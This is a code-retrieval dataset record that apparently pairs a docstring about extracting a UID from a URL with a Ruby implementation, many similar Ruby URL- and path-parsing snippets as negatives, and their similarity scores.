"def host_and_path(uri)\n uri = URI.parse(uri) unless uri.is_a? URI\n host = uri.host\n path = uri.path.gsub(/\\/$/, '')\n path = path.empty? ? '/' : uri.path\n URI.parse(\"#{host}#{path}\")\n end",
"def parse_username_from_url\n URI.parse(url_from_attributes).path.split(\"/\")[1]\n rescue URI::BadURIError, URI::InvalidURIError\n nil\n end",
"def normalize_url(url)\n\t\tbegin\n\t\t\turl.strip!\n\t\t\t# Converting the scheme and host to lower case in the process, i.e. 'HTTP://www.Example.com/' => 'http://www.example.com/' \n\t\t\t# Normalize the base\n\t\t\tbase=url_2_site(url) \n\t\t\t# Case#1, remove the trailing dot after the hostname, i.e, 'http://www.yahoo.com./' => 'http://www.yahoo.com/'\n\t\t\tbase=base.sub(/\\.\\/$/,'/')\n\t\t\t# Normalize the relative path, case#1\n\t\t\t# retrieve the file path and remove the first '/' or '.', \n\t\t\t# i.e. 'http://www.example.com/mypath' or 'http://www.example.com/./mypath' => 'mypath'\n\t\t\tpath=url_2_path(url).sub(/^(\\/|\\.)*/,'')\n\t\t\t# Normalize the relative path, case#2\n\t\t\t# Replace dot-segments. \"/../\" and \"/./\" with \"/\", i.e. 'http://www.example.com/../a/b/../c/./d.html\" => 'http://www.example.com/a/c/d.html'\n\t\t\tpath=path.gsub(/\\/\\.{1,2}\\//,'/')\n\t\t\tif path.nil?\n\t\t\t\treturn base\n\t\t\telse\n\t\t\t\treturn base+path\n\t\t\tend\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} for #{url}: #{ee}\" if @verbose\n\t\t\treturn url\n\t\tend\n\tend",
"def getFinalUrl(url)\n return Net::HTTP.get_response(URI(url))['location']\nend",
"def absolutify_url(url)\n url =~ /^\\w*\\:/i ? url : File.join(@url,url)\n end",
"def absolutize_url(url)\n URI.join(@request.original_url, url).to_s\n rescue URI::InvalidURIError\n nil\n end",
"def get_filename\n File.basename(url)[/(?:(?!\\?|#).)*/] || File.basename(url)\n end",
"def uri(path)\n s = File::expand_path(path).gsub(DIR, \"\").gsub(File::SEPARATOR, '/')\n return s == '' ? '/' : s\n end",
"def url_parse(url)\n begin\n uri = URI.parse(url)\n\n uri = URI.parse(\"http://#{url}\") if uri.class == URI::Generic\n uri.path = '/' unless uri.path.match(/^\\//)\n\n uri if PROTOCOLS.include?(uri.scheme)\n rescue URI::InvalidURIError\n puts \"Bad URL: #{url}\"\n end\n\n end",
"def extract_host(u)\n URI.split(u).compact[1]\n end",
"def urlpath\n path = cleanpath\n path.blank? ? '/root' : '/' + path\n end",
"def extract_host(u)\n URI.split(u).compact[1]\n end",
"def reduce_path(path)\n if path =~ /^(https?:\\/\\/.+)(\\/.*)/\n prefix = $1\n path = $2\n relative = false\n else\n prefix = nil\n relative = path[0] != '/'\n end\n\n while path.sub!(/\\/*[^\\/]+\\/+\\.\\./, ''); end\n while path.sub!(/\\/+\\.\\/+/, '/'); end\n path = path[2..-1] if path[0..1] == './'\n while path.sub!(/\\/\\//, '/'); end\n\n path = path[1..-1] if relative and path[0] == '/'\n path = prefix + path if prefix\n path\n end",
"def get_file_uri_path(uri)\n uri.sub(%r{\\Afile://}, '')\n end",
"def filename(url)\n uri = URI(url)\n File.basename(uri.path)\n end",
"def url_for(str)\n return str if str =~ /^[|[:alpha:]]+:\\/\\//\n File.join((uri.path.empty?) ? uri.to_s : File.dirname(uri.to_s), str)\n end",
"def get_Path(initial)\n\tinitial.split(' ',3)[1]\nend",
"def path\n @path ||= filters.uri_escape(absolute_url) if absolute_url\n end",
"def path\n @path ||= filters.uri_escape(absolute_url) if absolute_url\n end",
"def parse_url(url)\n unless url.start_with?(\"http://\", \"https://\")\n raise URI::InvalidURIError, \"Invalid URL\", url\n end\n\n URI.parse(url)\n end",
"def get_url_id(url)\n if !url.nil?\n url.split('/').last\n end\nend",
"def url(path)\n url = \"#{request.scheme}://#{request.host}\"\n\n if request.scheme == \"https\" && request.port != 443 ||\n request.scheme == \"http\" && request.port != 80\n url << \":#{request.port}\"\n end\n\n url << \"/\" unless path.index(\"/\").zero?\n url << path\n end",
"def final_path_component(path)\n path.split(PATH_SEPARATOR)[-1].split[0]\n end",
"def unrelativize_url(url)\n url =~ /^\\/\\// ? \"#{scheme}://#{url[2..-1]}\" : url\n end",
"def unrelativize_url(url)\n url =~ /^\\/\\// ? \"#{scheme}://#{url[2..-1]}\" : url\n end",
"def get_file_uri_path(uri)\n uri.sub(%r{\\Afile://}, '')\n end",
"def filename\n return unless url\n\n ::File.basename(url.split(\"?\").first)\n end",
"def parse_path(path_chunks)\n path = path_chunks[1]\n subpath_chunks = path.split(\"/\")\n base_dir = subpath_chunks[1]\n remaining_path = subpath_chunks[2..-1].join(\"/\")\n [base_dir, remaining_path]\n end",
"def parse_s3_url(source_url)\n protocol, s3_endpoint, bucket_and_object = URI.split(source_url).compact\n path_parts = bucket_and_object[1..-1].split('/')\n bucket_name = path_parts[0]\n object_name = path_parts[1..-1].join('/')\n [s3_endpoint, bucket_name, object_name]\n end",
"def parse_url(url)\n if url.match(%r|([^/]+)(/.*)|)\n host = $1\n uri = $2\n end\n # Gegebenenfalls Host und Portnummer trennen\n if host =~ /:/\n (host, port) = host.split(\":\")\n port = port.to_i\n else\n port = 80\n end\n # Alle drei Komponenten zurueckgeben\n [host, port, uri]\nend",
"def parse_url(url)\n if url.match(%r|([^/]+)(/.*)|)\n host = $1\n uri = $2\n end\n # Gegebenenfalls Host und Portnummer trennen\n if host =~ /:/\n (host, port) = host.split(\":\")\n port = port.to_i\n else\n port = 80\n end\n # Alle drei Komponenten zurueckgeben\n [host, port, uri]\nend",
"def extract_pid(uri)\n URI(uri).path.split('/').last\n end",
"def paths_from_urls\n urls = []\n parsed_urls.each do |url|\n path = URI(url).path.sub(/^(http(s)?(:)?(\\/)+?(:)?)?((\\/)?www.)?gov.uk/, \"\")\n urls << (path.start_with?(\"/\") ? path : \"/#{path}\")\n end\n urls.uniq\n end",
"def _location_path(location)\n location.match(/^(\\.\\/)?(.*?)(:\\d+)?$/)[2]\n end",
"def repo_slug_from_url(url)\n url[%r{github.com[/:]([^/]*/(?:(?!\\.git)[^/])*)\\.*}, 1]\nend"
] | [
"0.7998433",
"0.79272467",
"0.7721616",
"0.7499426",
"0.7474633",
"0.7410951",
"0.73539007",
"0.703869",
"0.70268947",
"0.68111867",
"0.67571276",
"0.671376",
"0.6650692",
"0.6601437",
"0.6601437",
"0.6586168",
"0.651133",
"0.6369279",
"0.6337915",
"0.63268566",
"0.63140506",
"0.63107014",
"0.6276513",
"0.62004703",
"0.6162645",
"0.6162384",
"0.61592466",
"0.6142299",
"0.6100918",
"0.6072121",
"0.6056395",
"0.603006",
"0.602071",
"0.59768265",
"0.59262264",
"0.59232557",
"0.59232557",
"0.58893",
"0.58765215",
"0.5872172",
"0.5867291",
"0.58663374",
"0.58522946",
"0.5849405",
"0.5835858",
"0.5833021",
"0.5824153",
"0.5821465",
"0.581734",
"0.57937336",
"0.57730454",
"0.57686013",
"0.57619023",
"0.5757103",
"0.5751094",
"0.5749594",
"0.57473254",
"0.57315195",
"0.5719531",
"0.5719531",
"0.57092404",
"0.5688799",
"0.5684504",
"0.56687087",
"0.5655648",
"0.5650612",
"0.5642088",
"0.56263",
"0.5625253",
"0.5622178",
"0.56182957",
"0.5576364",
"0.5572644",
"0.5562384",
"0.5560161",
"0.5554544",
"0.55495816",
"0.5530782",
"0.55287355",
"0.5526761",
"0.55239093",
"0.55177003",
"0.5511924",
"0.5511924",
"0.5510965",
"0.5510508",
"0.5485888",
"0.54851484",
"0.54823214",
"0.54823214",
"0.5461967",
"0.5456795",
"0.54494137",
"0.54493546",
"0.54487115",
"0.54487115",
"0.5448603",
"0.54439795",
"0.5441229",
"0.54347014"
] | 0.6506784 | 17 |
Extracts an UID (room, grouping or app) from an URL/path. | def uid_from_path(url, base_store_url)
return [:main, 0] if url.include?(base_store_url)
return [:category, url.match(/viewGenre\?id\=(\d+)/)[1]] if url.include?("viewGenre?id=")
return [:category, url.match(/viewGrouping\?id\=(\d+)/)[1]] if url.include?("viewGrouping?id=")
return [:room, url.match(/viewMultiRoom\?fcId\=(\d+)/)[1]] if url.include?("viewMultiRoom?fcId=")
return [:app, url.match(/.+id(\d+)/)[1]] if url =~ /\/id\d+/
[nil, nil]
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def user_id\n return link.split(\"/\")[2]\n end",
"def parse_site_user_id_from_url url\n url.scan(/cc\\/blog\\/([^\\/]+)/)[0][0].downcase rescue nil\n end",
"def uid\n return nil unless user_id\n user_id.split('/').first\n end",
"def uid\n return nil unless user_id\n user_id.split('/').first\n end",
"def extract_id(link)\n link.split('/').last if link.split('/')\n end",
"def extract_pid(uri)\n URI(uri).path.split('/').last\n end",
"def find_id(uri)\n Addressable::URI.parse(uri).basename\n end",
"def parse_attachment_reference_uuid_from_url(url)\n result = url&.match(ATTACHMENT_ID_REGEX)\n result ? result[1] : nil\n end",
"def get_url_id(url)\n if !url.nil?\n url.split('/').last\n end\nend",
"def extract_work_id( url )\n /^.*\\/(\\d+-\\d+-.*)$/.match( url )[ 1 ]\nend",
"def parse_username_from_url\n URI.parse(url_from_attributes).path.split(\"/\")[1]\n rescue URI::BadURIError, URI::InvalidURIError\n nil\n end",
"def guid_from_url\n # get the last large number from the url, if there is one\n url.to_s.scan(/[0-9]{6,12}/).last\n end",
"def parse_attachment_reference_id_from_url(url)\n # TODO: Attachments from a third party domain with the same path should not be returned.\n result = url.match(ATTACHMENT_ID_REGEX)\n result ? result[1] : nil\n end",
"def guid_from_url\n # get the last large number from the url, if there is one\n url.to_s.scan(/https:\\/\\/firstlook.org\\/theintercept\\/[0-9]{4}\\/[0-9]{2}\\/[0-9]{2}\\/[a-z0-9-]+/).last\n end",
"def id_from_href(href)\r\n if href.include?(\"?\")\r\n href = href.partition(\"?\")[0]\r\n end\r\n id = href.split(\"/\").last\r\n id\r\n end",
"def uid\n path = uid_file\n return nil if !path\n return nil if !path.file?\n return uid_file.read.chomp\n end",
"def parse_uid(uid)\n\treturn parsed_id = uid.split(\":\")\nend",
"def goodreads_id\n @url.match(/\\/(\\d+)\\./)[1] rescue nil\n end",
"def extract_identity(uri)\n return $1.downcase if uri =~ %r[/user/([a-zA-Z_1-9-]*)] || uri =~ %r[://([a-zA-Z_1-9-]*)?\\.#{AppConfig.host(request.host)}] || uri =~ %r[://(.*?)/?$]\n return nil\n end",
"def steam_id_from_url(url)\n url.slice!('https://store.steampowered.com/app/')\n m = url.match(/(\\d+)\\/?/)\n return nil if m.nil?\n m.captures.first.to_i\nend",
"def pull_gameid(url)\n url =~ /\\?gameid=(\\d+)\\&/\n return $1\n end",
"def id(string)\n return if string.blank?\n\n URI(string)\n .path\n .split(\"/\")\n .last\n .to_i\n end",
"def extract_record_id(record)\n url = record.xpath('//tei:facsimile/tei:graphic/@url', NS).map(&:text).first\n url.gsub!('http://cudl.lib.cam.ac.uk/content/images/', '')\n url.gsub!(%r{-\\d+-\\d+_files\\/8\\/0_0.jpg}, '')\n end",
"def trip_id\n url.to_s =~ /information\\/[a-z]+\\/[^\\/]+\\/([^\\/]+)/\n $1\n end",
"def id_for_path(path)\n path.split(\"/\").last.chomp(Joplin::Base::EXT_NAME)\n end",
"def uuid\n meta = page.search('meta[property=\"da:appurl\"]').first\n return nil if meta.nil?\n\n appurl = meta[\"content\"]\n uuid = appurl[%r!\\ADeviantArt://deviation/(.*)\\z!, 1]\n uuid\n end",
"def extract_user_id(username)\n username[2..-2]\n end",
"def id\n source.split('/')[-1].split('_')[0]\n end",
"def extract_id_from_response(resp)\n resp.response.headers['location'].split('/').last\n end",
"def create_id_from_path(path)\n return nil if path.nil?\n\n path.gsub('/', '.').gsub(/^[0-9]*/, '')\n end",
"def extract_host(u)\n URI.split(u).compact[1]\n end",
"def extract_host(u)\n URI.split(u).compact[1]\n end",
"def uid\n @name.to_s.downcase.gsub(/[^a-z0-9]+/, '').gsub(/-+$/, '').gsub(/^-+$/, '')\n end",
"def uid\n @name.to_s.downcase.gsub(/[^a-z0-9]+/, '').gsub(/-+$/, '').gsub(/^-+$/, '')\n end",
"def extract_id_uri\n @id_uri = @meta.at_xpath('./a:identification/a:FRBRWork/a:FRBRuri', a: NS)['value']\n empty, @country, @nature, date, @num = @id_uri.split('/')\n\n # yyyy-mm-dd\n @year = date.split('-', 2)[0]\n end",
"def id_from_response(response)\n response['Location'][/\\/([^\\/]*?)(\\.\\w+)?$/, 1]\n end",
"def get_slide_id( slide_url )\n idx = slide_url.index( \"=id.\" )\n return nil unless idx\n slide_url.slice( idx + 4..-1 )\n end",
"def parse_id(id)\n id.split('/')\n end",
"def parse_youtube_id(url)\n url =~ /[v]=([^&]*)/\n id = $1\n \n if id.nil?\n # when there is no match for v=blah, then maybe they just \n # provided us with the ID the way the system used to work... \n # just \"E4Fbk52Mk1w\"\n return url \n else\n # else we got a match for an id and we can return that ID...\n return id\n end\n end",
"def extract_id(self_link, type)\n link = self_link.match(/#{type}\\/(?<id>\\d+)/)\n id = link['id']\nend",
"def druid\n id.split(/:/).last\n end",
"def extract_id(object)\n case object\n when ::Integer\n object\n when ::String\n object.split('/').last.to_i\n when URI, Addressable::URI\n object.path.split('/').last.to_i\n when Teamsupport::Identity\n object.ID\n end\n end",
"def find_url(uid)\n Url.find_by_uid(uid)\n end",
"def id\n \n id = path_info.split(\"/\")[1]\n\n # Fix for /path/id.with.dot like /person/full.name - where format is \"json\" (derived from either Accept or Content-Type)\n if [\"html\", \"json\", \"xml\"].include? format\n if not id.nil? # for POST id is null\n id = id.gsub(/\\.(html|json|xml)$/, \"\")\n end\n \n else\n \n # Otherwise, remove trailing .json or .xml\n if id =~ /[.]/\n id = id.split(\".\")\n id.pop\n id = id.join(\".\")\n end\n \n end\n \n if id == [] or id.nil?\n id == \"\"\n end\n \n id\n \n end",
"def get_profile_id( pp )\n File.open(pp,\"r\") {|f|\n raw = f.read\n nice = raw.gsub(\"\\n\",\"\").gsub(\"\\r\",\"\").\n gsub(\"\\t\",\"\").gsub(\" \",\"\")\n matches = nice.scan(/UUID<\\/key><string>(.*)<\\/string>/)\n return matches.first.first\n }\n log(\"Couldn't find UUID in: \" + pp)\n abort(\"Couldn't find UUID in: \" + pp)\nend",
"def obj_id\n uri.split('/').last\n end",
"def obj_id\n uri.split('/').last\n end",
"def track_id\n @url.gsub(_url_regex, '')\n end",
"def resource_id(res)\n if res.is_a?(String)\n return res.split(/\\//).last.to_i\n else\n return res.href.split(/\\//).last.to_i\n end\n end",
"def fetch_uid\n uid = query('id')\n return false unless uid.gsub!(/.*uid=(\\d+).*/, '\\\\1').to_i == 0\n true\n end",
"def url_id\n Digest::MD5.hexdigest(url)\n end",
"def identifier_from_path\n @identifier_from_path ||= request.path_info.each_with_object({}) do | (key, value), hash|\n case value\n when String, Symbol, Numeric\n hash[key] = value\n end\n end\n end",
"def url_path(url)\n u = URI.parse(url)\n u.path.sub(%r{/\\d+$},'')\n end",
"def extractYouTubeID(url)\n YoutubeVideoId.extract(url)\n end",
"def parse_url_for_item_id\n return nil if not self.item_id \n if self.item_id.match(/\\D+/).to_s.length != 0\n self.item_id.match(/item=\\d+\\D/).to_s.gsub!(/\\D+/, \"\") ||\n self.item_id.match(/-\\/\\d+/).to_s.gsub!(/\\D+/, \"\")\n else\n return self.item_id\n end\n end",
"def get_id_from_doc(html_page)\n html_string = html_page.to_s\n match = html_string.match(/\"entity_id\"(\\s?):(\\s?)\"(?<id>\\d+)\"/) ||\n html_string.match(/\"al:ios:url\"(\\s?)content=\"fb:\\/\\/page\\/\\?id=(?<id>\\d+)\"/) ||\n html_string.match(/\"owning_profile\"\\s?:\\s?{\\s?\"__typename\"\\s?:\\s?\"Page\"\\s?,\\s?\"id\"\\s?:\\s?\"(?<id>\\d+)\"/)\n\n match['id'] unless match.nil?\n end",
"def get_id_from_short_url shortURL\n\t id = 0 # initialize result \n\n\t # A simple base conversion logic \n\t (0...shortURL.size).each do |i| \n\t if ('a' <= shortURL[i] && shortURL[i] <= 'z') \n\t id = id*62 + shortURL[i].ord - 'a'.ord; \n\t end\n\n\t if ('A' <= shortURL[i] && shortURL[i] <= 'Z') \n\t id = id*62 + shortURL[i].ord - 'A'.ord + 26; \n\t end\n\n\t if ('0' <= shortURL[i] && shortURL[i] <= '9') \n\t id = id*62 + shortURL[i].ord - '0'.ord + 52;\n\t end \n\t end\n\n\t id\n\tend",
"def subscription_id\n id.split(%r{\\/}).reject(&:empty?)[1]\n end",
"def ident\n ident = @path.split(\".\").first\n end",
"def _uid(uuid = @uuid)\n uuid && uuid[0,6]\n end",
"def get_article_id(urn)\n /\\/(.*)\\/article\\-(.*)\\/.*/.match(urn)[2].to_i\n end",
"def sanitize_fragment_with_id(url)\n url.gsub(%r{^(/?[^/]*/[^/]*/)(?:[^\\?/\\d]*[\\d]+[^\\?/]*)}, ID_PLACEHOLDER)\n end",
"def pull_ssid(url)\n url =~ /\\?h3fileid\\=(\\d+)/\n return $1\n end",
"def fileid_and_filename(url)\n url.split('/').slice(-2,2) || ['', '']\n end",
"def parse_gist_id(link_url)\n gist_id = \n if link_url.match? '</script>' \n link_url.sub(/.js\"><\\/script>/, '') \n elsif link_url.match? '.git' \n link_url.sub(/.git$/, '') \n else \n link_url \n end \n File.basename(gist_id)\n end",
"def id_from_link(node)\n node.attribute('href').value.split('/').last.to_i\n end",
"def extractAndrewID(filename)\n underscoreInd = filename.index(\"_\")\n if !underscoreInd.nil? \n return filename[0...underscoreInd]\n end\n return nil \n end",
"def video_id(url)\n url.scan(/\\?v=(.{11})|youtu.be\\/(.{11})/)[0].find {|e| not e.nil?}\n end",
"def parse_url url\n case url\n when /^rdoc-label:([^:]*)(?::(.*))?/ then\n scheme = 'link'\n path = \"##{$1}\"\n id = \" id=\\\"#{$2}\\\"\" if $2\n when /([A-Za-z]+):(.*)/ then\n scheme = $1.downcase\n path = $2\n when /^#/ then\n else\n scheme = 'http'\n path = url\n url = url\n end\n\n if scheme == 'link' then\n url = if path[0, 1] == '#' then # is this meaningful?\n path\n else\n self.class.gen_relative_url @from_path, path\n end\n end\n\n [scheme, url, id]\n end",
"def extract_session_id!(url)\n url.gsub!(/#{::Rails.application.config.session_options[:key]}=([^&]+)&?/, '')\n url.chomp!('?')\n $1\n end",
"def extract_accession_from_url(url)\n parts = url.split(@base_url + '/study/')\n parts.last.split('/').first\n end",
"def userid_from_username(username)\n data = JSON(open(\"http://api.twitter.com/1/users/show/#{username}.json\").read)\n data[\"id\"]\n end",
"def extract_id(tag)\n tag =~ /id=\"([^\"]+)\"/\n $1\n end",
"def uid_fetch(seq, attr=\"FULL\")\n fetch_internal(\"UID FETCH\", seq, attr)\n end",
"def uds_path\n if mixed_http_and_uds?\n nil\n elsif parsed_url && unix_scheme?(parsed_url)\n path = parsed_url.to_s\n # Some versions of the built-in uri gem leave the original url untouched, and others remove the //, so this\n # supports both\n if path.start_with?('unix://')\n path.sub('unix://', '')\n else\n path.sub('unix:', '')\n end\n else\n uds_fallback\n end\n end",
"def get_uid_of_pid(pid)\n IO.foreach(\"/proc/#{pid}/status\") do |line|\n case line\n when /Uid:\\s*?(\\d+)\\s*?(\\d+)/\n return($1.to_i)\n end\n end\n end",
"def get_connecting_uid\n request.params[:uid]\n end",
"def uid\n \"#{Socket.gethostname}-#{Process.pid}-#{thread_id}\"\n end",
"def cleanup_id(url) # :nodoc:\n url.gsub(/(\\-{2,}|[\\W^-_]+)/, '-').gsub(/(\\A\\-|\\-\\Z)/, \"\").strip\n end",
"def uid_endpoint\n\t\t\t@uid[-2, 2]\n\t\tend",
"def probably_unique_id\n @probably_unique_id||=complete_path.base26_hash\n end",
"def get_server_id(server)\n if (server)\n return (File.basename server.href).to_i\n end\n return nil\n end",
"def id\n basename.gsub('.', '-')\n end",
"def id_path\n full_path.collect(&:id).join(\":\")\n end",
"def get_username_id(username)\n #puts \"#{@curl} -X GET '#{@url}/people/username/#{username}'\" if @debug\n user_details = Jive_ruby_api.cleanse_security_string(`#{@curl_get_prefix} '#{@url}/people/username/#{username}'`)\n\n #Turn the string into a json object\n user_details = JSON.parse(user_details)\n return user_details['id']\n end",
"def url_identifier\n case Roomer.url_routing_strategy\n when :domain\n return request.host\n when :path\n return params[:tenant_identifier]\n end\n end",
"def get_uid(email, ldap_entry)\n # Get the first uid value (this should always be the canonical username)\n uid = ldap_entry.uid ? ldap_entry.uid[0] : nil\n # Update the cache\n self.cache[email] = uid if uid && self.use_cache\n # Return the uid\n uid\n end",
"def giphy_id\n GIPHY_MEDIA_URL.match(@url)['id'] if match?\n end",
"def get_resource_name( url )\n new_url = url.gsub( '(.:format)', '' )\n\n return $1 if new_url =~ /\\/(\\w+)\\/:id$/ # /users/:id (users)\n return $1 if new_url =~ /\\/(\\w+)\\/:id\\/edit$/ # /users/:id/edit (users)\n return $1 if new_url =~ /^\\/(\\w+)$/ # /users (users)\n return $1 if new_url =~ /\\/:\\w*id\\/(\\w+)$/ # /users/:id/images (images)\n return $1 if new_url =~ /\\/:\\w*id\\/(\\w+)\\/\\w+$/ # /users/:id/config/edit (users)\n return $1 if new_url =~ /^\\/(\\w+)\\/\\w+$/ # /users/edit (users)\n return $1 if new_url =~ /\\/(\\w+)\\/\\w+\\/\\w+$/ # /users/password/edit (users)\n return url\n end",
"def parse(url)\n # parse URL\n # URL ends with number then filetype.\n # filetype can be removed by the final [.]. name of file is preceded by final [/].\n # number detection... every example we've seen has something before the number that isn't a number.\n # # of 0's to use as buffer can be read from the filename itself.\n # parts:\n # URL base (everything up to number)\n # filename base (after /, before number)\n # number base\n end",
"def parse_playlist_reference_url(url)\n playlist, index = split_url(url)\n [to_valid_id(playlist), Integer(index)]\n end",
"def unique_id\n playlist_id[/playlists\\/([^<]+)/, 1]\n end",
"def extract_spotify_id(query)\n if query.start_with?('http://open.spotify.com/track/', 'https://open.spotify.com/track/', 'https://play.spotify.com/track/', 'http://play.spotify.com/track/')\n URI.split(query)[5].split('/')[2]\n elsif query.start_with?('spotify:track:')\n query.split(':')[2]\n else\n false\n end\n end",
"def request_uid(*args)\n uid\n end",
"def request_uid(*args)\n uid\n end",
"def request_uid(*args)\n uid\n end",
"def extract_id(dom)\n href_with_id = dom.search('.subtext .age a').map { |link| link['href']}.join\n href_with_id[/\\d+/].to_i\n end",
"def extract_id(str)\n str.to_s.scan(/\\d+/)\n end",
"def user_login_to_id(login)\n user = user_from_login(login)\n return user[\"id\"]\n end",
"def model_from(path)\n extract_from path, /\\/(\\w+)\\/(\\d+)/\n end"
] | [
"0.7059051",
"0.69124836",
"0.6678153",
"0.6678153",
"0.6591005",
"0.65751207",
"0.65533423",
"0.65050286",
"0.6481659",
"0.6453909",
"0.6449052",
"0.6428161",
"0.63630307",
"0.6361559",
"0.6317997",
"0.62547845",
"0.6245712",
"0.60574",
"0.6031949",
"0.60137314",
"0.59629047",
"0.5944777",
"0.59398556",
"0.5898649",
"0.5895665",
"0.5863397",
"0.5858556",
"0.5779892",
"0.57786614",
"0.5749618",
"0.5749333",
"0.57271814",
"0.5658905",
"0.5658905",
"0.56513745",
"0.5646135",
"0.5620246",
"0.5589891",
"0.5584423",
"0.5571237",
"0.55633354",
"0.55500185",
"0.5546702",
"0.55418193",
"0.5523225",
"0.55201936",
"0.55201936",
"0.5518878",
"0.55176324",
"0.55092615",
"0.5497243",
"0.5492036",
"0.5471695",
"0.54607624",
"0.54505205",
"0.5446281",
"0.541704",
"0.5414608",
"0.54041845",
"0.539725",
"0.53945255",
"0.53830117",
"0.5368054",
"0.53568363",
"0.5351908",
"0.5339071",
"0.5338275",
"0.5336215",
"0.533489",
"0.53309447",
"0.53253067",
"0.53076744",
"0.5306195",
"0.5298704",
"0.52864754",
"0.5274197",
"0.52305233",
"0.5226795",
"0.5215621",
"0.5209345",
"0.5196741",
"0.5195692",
"0.5189865",
"0.51892126",
"0.5187533",
"0.51872665",
"0.5180431",
"0.5176502",
"0.517567",
"0.51743543",
"0.5173186",
"0.51695275",
"0.5166587",
"0.51455206",
"0.51455206",
"0.51455206",
"0.5143508",
"0.5130344",
"0.5103638",
"0.51015395"
] | 0.741962 | 0 |
Use callbacks to share common setup or constraints between actions. | def set_company
@company = Company.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def set_actions\n actions :all\n end",
"def define_action_helpers?; end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def setup_handler\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
